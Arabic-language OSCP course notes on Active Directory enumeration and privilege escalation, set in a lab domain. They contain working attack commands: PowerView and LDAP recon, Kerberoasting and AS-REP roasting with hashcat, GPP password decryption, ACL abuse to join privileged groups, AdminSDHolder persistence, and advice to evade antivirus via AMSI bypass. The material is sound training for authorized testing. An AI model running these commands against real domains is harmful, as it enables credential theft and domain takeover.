Active Directory Domain Services (AD DS) = خدمة دليل مركزية بتدير المستخدمين والأجهزة والتطبيقات والصلاحيات عبر المؤسسة بشكل موسّع. أنشأته Microsoft، صدر أول مرة مع Windows 2000 Server. تستخدمه أكثر من 90% من شركات Fortune 500 — هو البنية التحتية لـ IT المؤسسي.
ليه AD مهم لمختبري الاختراق: AD بيخزّن معلومات شاملة عن كل شيء في البيئة. التحكّم في كائنات domain محددة → يمكن التحكّم في البنية التحتية كاملة. اختراق كامل للـ domain = وصول تنظيمي شامل — إيميلات، ملفات، سيرفرات، VPNs.
| النوع | الوصف | خصائص مهمة للمهاجم |
|---|---|---|
| User Objects | أشخاص أو service accounts | sAMAccountName، SID، pwdLastSet، lastLogon، description (ممكن يحتوي باسورد!) |
| Computer Objects | أجهزة منضمة للـ domain | OS version، hostname، last logon، SPNs |
| Group Objects | Security groups (وصول للموارد) | Distribution (قوائم إيميل) | Domain Admins = تحكّم كامل | Enterprise Admins = كل الـ forests |
| SPNs | تربط خدمة بالحساب الذي يُشغّلها | حرج للـ Kerberos auth وKerberoasting |
الـ Enumeration = جمع الاستخبارات — أساس كل هجمات AD. ابدأ من سيناريو assumed-breach: بيانات اعتماد domain صالحة (phishing، إعادة استخدام، إلخ). ابدأ من حساب domain منخفض الصلاحيات — هذا كل ما تحتاجه للـ enumeration.
الـ Enumeration ليست خطوة واحدة أبدًا — كرّرها بعد كل حساب جديد تخترقه، وبعد كل جهاز جديد تصل إليه. كل موقع جديد يكشف بيانات جديدة — الصلاحيات تختلف من حساب لحساب. كل مستخدم في الـ domain يمكنه قراءة معظم بيانات AD افتراضيًا — لا استغلال مطلوب، فقط توثيق.
net.exe مدمَج في كل إصدارات Windows. يتواصل مباشرةً مع الـ DC عبر LDAP/NetBIOS. لا تثبيت مطلوب — "living off the land".
# سرد كل مستخدمي الـ domain
net user /domain
# فحص مستخدم محدد (مجموعات، آخر دخول، إعدادات الباسورد)
net user jeffadmin /domain
# سرد كل مجموعات الـ domain
net group /domain
# سرد أعضاء مجموعة محددة
net group "Domain Admins" /domain
net group "Sales Department" /domain
# إيجاد Domain Controllers
nltest /dclist:corp.com
# مجموعات المستخدم الحالي
whoami /groups
| ما نشوفه | ما يعنيه للهجوم |
|---|---|
jeffadmin، backupadmin، svc-sql | حسابات ذات صلاحيات عالية محتملة — أهداف أولوية |
svc_* أو svc-* | Service accounts — ممكن يكون عندهم SPNs → Kerberoasting |
| حسابات قديمة/خاملة | باسوردات ضعيفة، أقل مراقبة — مثالية للاستيلاء الخفي |
| Domain Admins، Enterprise Admins | الأهداف النهائية |
| Remote Desktop Users، Remote Management Users | يسمح بالتنقّل الجانبي عبر RDP/WinRM |
| Backup Operators، Account Operators | صلاحيات خاصة — ممكن تستخدم لقراءة NTDS.dit أو إنشاء حسابات |
| سياسة الباسورد (Lockout threshold) | يحدد آمن interval لـ password spraying |
description في بيانات المستخدم ممكن يحتوي باسوردات مكتوبة فيه بشكل مباشرDirectoryEntry — الاتصال بـ AD عبر LDAPDirectorySearcher — الاستعلام عن كائنات بفلاترالمزايا: يعمل على أي جهاز منضم للـ domain بصلاحيات مستخدم عادية | لا أدوات إضافية ولا admin rights | يستخدم LDAP شرعي — أصعب في الكشف من ضجيج الـ scanners
LDAP://<hostname>/<DistinguishedName>DC=corp,DC=com→ جذر الـ domainCN=Users,DC=corp,DC=com→ حاوية UsersOU=IT,DC=corp,DC=com→ OU للـ ITCN=stephanie,CN=Users,DC=corp,DC=com→ مستخدم محدد# الخطوة 1 — إيجاد اسم الـ PDC
$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$pdc = $domain.PdcRoleOwner.Name
# الخطوة 2 — الحصول على الـ DN
$dn = ([ADSI]'').distinguishedName
# الخطوة 3 — بناء مسار LDAP الكامل
$ldap = "LDAP://$pdc/$dn"
# النتيجة: LDAP://DC1.corp.com/DC=corp,DC=com
# إنشاء searcher والاستعلام عن المستخدمين
$se = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$ldap)
$se.Filter = '(samAccountType=805306368)'
$results = $se.FindAll()
# طباعة أسماء المستخدمين
$results | ForEach-Object { $_.Properties.samaccountname }
| الفلتر | نوع الكائن | حالة الاستخدام |
|---|---|---|
(objectClass=user) | كل كائنات المستخدمين | enumeration عام للمستخدمين |
(samAccountType=805306368) | حسابات مستخدمين عادية فقط | استبعاد حسابات الأجهزة |
(objectClass=group) | كل المجموعات | enumeration المجموعات |
(objectClass=computer) | حسابات الأجهزة | اكتشاف الأجهزة |
(&(objectClass=user)(servicePrincipalName=*)) | مستخدمون بـ SPNs | مرشَّحون لـ Kerberoasting |
(userAccountControl:1.2.840.113556.1.4.803:=4194304) | Pre-auth معطَّل | أهداف AS-REP Roasting |
# إيجاد أعضاء Domain Admins
$se.Filter = '(&(objectClass=group)(cn=Domain Admins))'
$da = $se.FindOne()
$da.Properties.member
# Enumeration الأجهزة + نظام التشغيل
$se.Filter = '(objectClass=computer)'
$se.FindAll() | ForEach-Object {
$_.Properties.dnshostname
$_.Properties.operatingsystem
}
PowerView = سكربت PowerShell بواسطة @harmj0y — المعيار الذهبي لـ AD recon. يؤتمت استعلامات LDAP المعقّدة — أكثر كفاءةً بكثير من السكربتات اليدوية. يُحمَّل في الذاكرة (بدون كتابة على الديسك) — يقلّل البصمة الجنائية.
# تحميل PowerView
powershell -ep bypass
Import-Module .\PowerView.ps1
الأنتي فايروس ممكن يُعلَّم على PowerView — استخدم AMSI bypass أو نسخة مُبهَمة (obfuscated) في المهمات الحقيقية.
| الأمر | ما يُرجِع |
|---|---|
Get-NetDomain | اسم الـ domain، الـ forest، الـ DCs، المستوى الوظيفي، PDC role owner |
Get-NetDomainController | كل الـ DCs — IP، نظام التشغيل، الأدوار |
Get-NetUser | كل المستخدمين — كل خاصية LDAP (pwdLastSet، lastLogon، SPN، إلخ) |
Get-NetUser -SPN | مستخدمون بـ SPNs — أهداف Kerberoasting |
Get-NetGroup | كل مجموعات الـ domain |
Get-NetGroupMember "Domain Admins" -Recurse | أعضاء مجموعة محددة (بما فيها المتداخلة) |
Get-NetComputer | كل أجهزة الـ domain — نظام التشغيل، hostname، آخر دخول |
Find-LocalAdminAccess | الأجهزة التي للمستخدم الحالي صلاحية admin عليها |
Get-NetSession -ComputerName X | الجلسات النشطة على جهاز محدد |
Get-ObjectAcl -Identity X | ACL للكائن X — لاكتشاف misconfigured permissions |
Find-DomainShare | كل الـ shares في الـ domain |
# كل المستخدمين مع الخصائص المهمة
Get-NetUser | Select cn,pwdlastset,lastlogon,memberof,serviceprincipalname,description
# إيجاد SPNs (أهداف Kerberoasting)
Get-NetUser -SPN | Select samaccountname,serviceprincipalname
# أعضاء Domain Admins (بما فيهم المتداخلون)
Get-NetGroupMember "Domain Admins" -Recurse
# الأجهزة + إصدار نظام التشغيل
Get-NetComputer | Select dnshostname,operatingsystem,operatingsystemversion
1) Find-LocalAdminAccess → تجد إنك admin على CLIENT74 | 2) Get-NetSession على CLIENT74 → jeffadmin (Domain Admin) جلسته نشطة هناك | 3) استخدم صلاحياتك على CLIENT74 لاستخراج credentials من LSASS | 4) تصبح Domain Admin!
# مسح كل أجهزة الـ domain (NOISY!)
Find-LocalAdminAccess
# فحص الجلسات على جهاز محدد
Get-NetSession -ComputerName CLIENT74
# ممكن يفشل على Windows 10/11 الحديثة
# بديل: PsLoggedOn (يحتاج RemoteRegistry)
.\PsLoggedOn.exe \\CLIENT74
# jeffadmin logged in → فرصة credential extraction!
بيفحص كل أجهزة الـ domain عبر Service Control Manager — مصدر ضجيج كبير. استخدمه بحذر في بيئات الإنتاج أو قيّد النطاق.
كل كائن AD له Access Control List (ACL). ACL = مجموعة من Access Control Entries (ACEs). كل ACE = من (SID) له ما من صلاحية على هذا الكائن.
Insight أساسي: ACL misconfigurations شائعة جدًا — تتراكم على مدى سنين من التغييرات IT ولا أحد يراجعها. يمكن أن تمكّن من تصعيد الصلاحيات بدون أي استغلال سوفت وير.
| الصلاحية | التأثير | تقنية الهجوم |
|---|---|---|
| GenericAll | تحكّم كامل في الكائن | إعادة تعيين الباسورد، إضافة للمجموعة، أخذ الملكية |
| GenericWrite | كتابة أي خاصية | تعديل scriptPath، تعيين SPN للـ Kerberoasting |
| WriteOwner | تغيير مالك الكائن | أخذ الملكية، ثم منح نفسك GenericAll |
| WriteDACL | تعديل الـ ACL | منح نفسك GenericAll على أي كائن |
| AllExtendedRights | كل الحقوق الممتدة | إجبار إعادة تعيين الباسورد، قراءة كلمات LAPS |
| ForceChangePassword | إعادة تعيين الباسورد بدون معرفة الحالي | الاستيلاء على الحساب |
| AddMember / Self | إضافة أعضاء للمجموعة | إضافة نفسك لـ Domain Admins |
stephanie (صلاحيات منخفضة) لديها GenericAll على مجموعة 'Management Department' → يمكنها إضافة نفسها → ترث وصول المجموعة.
# عرض ACL كائن محدد
Get-ObjectAcl -Identity 'Management Department' |
Select ActiveDirectoryRights,SecurityIdentifier
# تحويل SID لاسم قابل للقراءة
Convert-SidToName S-1-5-21-...
# إيجاد كل GenericAll في الـ domain
Get-ObjectAcl -Domain corp.com |
Where-Object {$_.ActiveDirectoryRights -eq 'GenericAll'} |
Select ObjectDN,SecurityIdentifier
# استغلال GenericAll: إضافة نفسك للمجموعة
Add-DomainGroupMember -Identity 'Management Department' -Members stephanie
# تحقّق من العضوية الجديدة
Get-NetGroupMember "Management Department"
# CLEANUP — إزالة نفسك بعد الاختبار!
Remove-DomainGroupMember -Identity 'Management Department' -Members stephanie
دايمًا نظّف بعد استغلال الـ ACL — أزل نفسك من المجموعات بعد انتهاء الاختبار. التغييرات غير المُنظَّفة قد تترك backdoors أو تُنبّه الأمان.
المؤسسات تعتمد على التخزين المشترك للتعاون. الـ shares كثيرًا ما تحتوي: بيانات اعتماد، configs، سكربتات، وثائق. قابلة للقراءة بواسطة كل مستخدمي الـ domain افتراضيًا.
| نوع الـ Share | من يستطيع الوصول | ما نبحث عنه |
|---|---|---|
ADMIN$، C$، IPC$ | Admins فقط | — |
SYSVOL، NETLOGON | كل مستخدمي الـ domain | GPP passwords، logon scripts، config files |
| Shares مخصَّصة | غالبًا صلاحيات ضعيفة | باسوردات، configs، scripts بمعلومات حساسة |
SYSVOL: share على مستوى الـ domain على كل DCs. يخزّن: GPOs، logon scripts، config files. كل مستخدمي الـ domain يمكنهم قراءته — مطلوب لتطبيق الـ policy عند الدخول.
ثغرة Group Policy Preferences (GPP): المدراء استخدموا GPP لنشر باسوردات local admin على الأجهزة. الباسوردات مخزَّنة في Groups.xml — مشفَّرة بـ AES-256. Microsoft نشرت مفتاح AES عام 2012 — أي شخص يمكنه فكّ التشفير. MS14-025 أصلحت إنشاء باسوردات GPP جديدة لكن الملفات القديمة لا تزال موجودة!
# إيجاد كل الـ shares في الـ domain
Find-DomainShare
# استكشاف SYSVOL بشكل recursive
ls \\dc1.corp.com\sysvol\corp.com\
# البحث عن ملفات GPP passwords
findstr /S /I 'cpassword' \\dc1.corp.com\sysvol\
# فكّ تشفير الـ cpassword
gpp-decrypt ''
# → P@ssword123! (local admin على كل الأجهزة!)
# البحث في shares مخصَّصة عن ملفات حساسة
findstr /S /I /M 'password\|passw\|cred' *.*
SYSVOL هو أول مكان تتحقق منه بعد الحصول على أي domain credentials. GPP passwords هي من أشهر التكتيكات في OSCP وتظهر بشكل كبير في الامتحانات. أمر gpp-decrypt في Kali يفكّ التشفير مباشرةً.
Kerberos authentication يستخدم SPNs. أي مستخدم domain يمكنه طلب service ticket (TGS) لأي SPN. الـ service ticket مشفَّر بهاش NTLM لحساب الخدمة. المهاجم يطلب tickets → يحفظها → يكسرها offline.
ليه قوي: يحتاج فقط بيانات اعتماد domain عادية | طلب الـ ticket يشبه ترافيك Kerberos الطبيعي | Offline cracking — بدون خطر account lockout | حسابات الخدمة غالبًا باسوردات ضعيفة/قديمة
Get-NetUser -SPN | Select samaccountname,serviceprincipalnameInvoke-Kerberoast -OutputFormat Hashcathashcat -m 13100 hashes.txt rockyou.txt
# النتيجة: باسورد service account بنص واضح
# حسابات الخدمة غالبًا ذات صلاحيات عالية!Kerberos pre-authentication مطلوب عادةً — يثبت إن المستخدم يعرف باسورده قبل الحصول على TGT. بعض الحسابات لديها pre-auth معطَّلة (misconfiguration). بدون pre-auth: أي مهاجم يمكنه طلب AS-REP. الـ AS-REP مشفَّر بهاش باسورد الحساب → كسر offline — لا lockout! يحتاج فقط وصول للشبكة — لا credentials مطلوبة!
# LDAP filter
$se.Filter = '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'Rubeus.exe asreproast /format:hashcathashcat -m 18200 hashes.txt rockyou.txt
# → باسورد مستخدم domain مكشوف| النوع | الوصف | الاستغلال | الاكتشاف |
|---|---|---|---|
| Unconstrained | الجهاز يتصرّف نيابةً عن أي مستخدم موثَّق. يخزّن TGTs في LSASS | اختراق الجهاز → استخراج TGTs → انتحال هوية Domain Admin | Get-ADComputer -Filter {TrustedForDelegation -eq 'True'} |
| Constrained | يحدّد الـ delegation لخدمات محددة — أأمن لكن قابل للاستغلال | التحكّم في الحساب المفوَّض → انتحال هوية أي مستخدم لتلك الخدمات | فحص msDS-AllowedToDelegateTo |
| RBCD | Resource-Based — أحدث وأكثر مرونة | كتابة msDS-AllowedToActOnBehalfOfOtherIdentity + إضافة computer account → انتحال هوية DA | فحص الـ attribute على الأجهزة |
كائن AD خاص يتحكّم في الصلاحيات على كل الحسابات المميَّزة/المحمية (بما فيها Domain Admins، Enterprise Admins، Schema Admins). عملية SDProp تعمل كل 60 دقيقة: تُعيد تعيين ACL كل الحسابات المحمية لتطابق ACL الـ AdminSDHolder.
هجوم الـ Persistence: عدّل ACL الـ AdminSDHolder → أضف GenericAll لنفسك → SDProp بيوزّع صلاحياتك لكل الحسابات المميَّزة. حتى لو المدافعون أعادوا تعيين باسوردات DA → صلاحيتك تبقى. مستخدَم لـ long-term stealthy persistence.
ms-Mcs-AdmPwd. Misconfiguration: أي domain user يمكنه قراءته! → local admin على الجهازmsDS-KeyCredentialLink). يتيح التوثيق كذلك الحساب بدون معرفة الباسورد. يحتاج write access على الـ attribute. أداة: Whisker.exems-Mcs-AdmPwd — كثيرًا ما يكون قابلًا للقراءةالـ Enumeration اليدوي يبني الفهم — لكنه بطيء. المؤسسات الكبيرة: آلاف المستخدمين والأجهزة وملايين الصلاحيات. رسم خرائط العلاقات يدويًا مستحيل عمليًا. BloodHound يحلّ هذا: يجمع كل بيانات علاقات الـ domain آليًا، يبني قاعدة بيانات رسم بياني تفاعلية، يجد أقصر مسار من أي مستخدم لـ Domain Admin.
BloodHound بيولّد ترافيك LDAP/API كبير — خطط توقيت الجمع ونطاقه في المهمات الحقيقية.
SharpHound يستخدم آليات Windows الشرعية للجمع:
NetWkstaUserEnum → المستخدمون المسجَّلون على كل جهازNetSessionEnum → الجلسات الشبكية النشطةما يجمعه: عضوية المستخدمين/المجموعات + المجموعات المتداخلة | صلاحيات local admin على كل جهاز | الجلسات النشطة (من مسجَّل دخول أين) | ACLs وصلاحيات الكائنات | SPNs وحسابات الخدمة
# تحميل في الذاكرة (fileless)
powershell -ep bypass
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# الخرج: أرشيف ZIP من ملفات JSON
# استورد الـ ZIP في BloodHound للتحليل
# المستخدمون الذين لديهم GenericAll على أي شيء
MATCH p=(m:User)-[r:GenericAll]->(n)
WHERE m.name = 'STEPHANIE@CORP.COM'
RETURN p
# مستخدمون Kerberoastable بمسار لـ Domain Admins
MATCH p=shortestPath(
(n:User {hasspn:true})-[*1..]->(m:Group {name:'DOMAIN ADMINS@CORP.COM'})
)
RETURN p
BloodHound يعرض الرسم البياني التالي:
ما يعنيه هذا:
هذا بالضبط كيف تحدث كثير من عمليات اختراق AD الحقيقية. BloodHound يجد هذا المسار من 3 hops في ثوانٍ عبر +10,000 node.
1) شغّل SharpHound: Invoke-BloodHound -CollectionMethod All | 2) استورد الـ ZIP في BloodHound | 3) علّم الحسابات التي تمتلكها (Right-click → Mark as Owned) | 4) "Shortest Path from Owned to Domain Admins" | 5) هذا مسارك الخاص للـ DA
net user /domain # كل مستخدمي الـ domain
net user USERNAME /domain # تفاصيل مستخدم محدد
net group /domain # كل مجموعات الـ domain
net group "Domain Admins" /domain # أعضاء مجموعة محددة
nltest /dclist:DOMAIN # إيجاد Domain Controllers
whoami /groups # مجموعات المستخدم الحالي
Get-NetDomain # معلومات الـ domain
Get-NetDomainController # كل الـ DCs
Get-NetUser | Select cn,pwdlastset,description # مستخدمون + خصائص
Get-NetUser -SPN # أهداف Kerberoasting
Get-NetGroupMember "Domain Admins" -Recurse # أعضاء DA
Get-NetComputer | Select dnshostname,operatingsystem # الأجهزة + OS
Find-LocalAdminAccess # أجهزة أنت admin عليها
Get-NetSession -ComputerName MACHINE # جلسات نشطة
Get-ObjectAcl -Identity 'GROUP' | Select ActiveDirectoryRights,SecurityIdentifier
Find-DomainShare # كل الـ shares
| الفلتر | الهدف |
|---|---|
(samAccountType=805306368) | مستخدمون عاديون (بدون computer accounts) |
(&(objectClass=user)(servicePrincipalName=*)) | Kerberoasting targets |
(userAccountControl:1.2.840.113556.1.4.803:=4194304) | AS-REP Roasting targets |
| Mode | النوع | الأمر |
|---|---|---|
| 13100 | Kerberoasting (TGS-REP) | hashcat -m 13100 hashes.txt rockyou.txt |
| 18200 | AS-REP Roasting | hashcat -m 18200 hashes.txt rockyou.txt |
| 1000 | NTLM (لبعد استخراج من DC) | hashcat -m 1000 ntlm.hash rockyou.txt |
| الصلاحية | ماذا تفعل؟ |
|---|---|
| GenericAll | تحكّم كامل → إعادة تعيين باسورد / إضافة للمجموعة |
| WriteDACL | عدّل الـ ACL → امنح نفسك GenericAll |
| WriteOwner | غيّر المالك → ثم خذ GenericAll |
| ForceChangePassword | إعادة تعيين الباسورد مباشرةً |
| GenericWrite | عدّل أي attribute → عيّن SPN للـ Kerberoasting |
Active Directory هو العمود الفقري لشبكات المؤسسات — اختراقه يعني اختراق المؤسسة بالكامل. الـ Enumeration مستمر — كرّره بعد كل حساب أو جهاز جديد؛ كل مستوى يكشف مسارات هجوم جديدة.
القاعدة الذهبية: الـ Enumeration الشامل أهم من أي إكسبلويت. أدوات مثل net.exe وPowerView وBloodHound تعطيك الخريطة — أنت فقط تتبع المسارات. كل خطوة تُنفَّذ على بيانات حقيقية مجموعة من الـ domain نفسه.
نهاية نوتس الموديول التاسع عشر — OSCP: Active Directory Introduction & Enumeration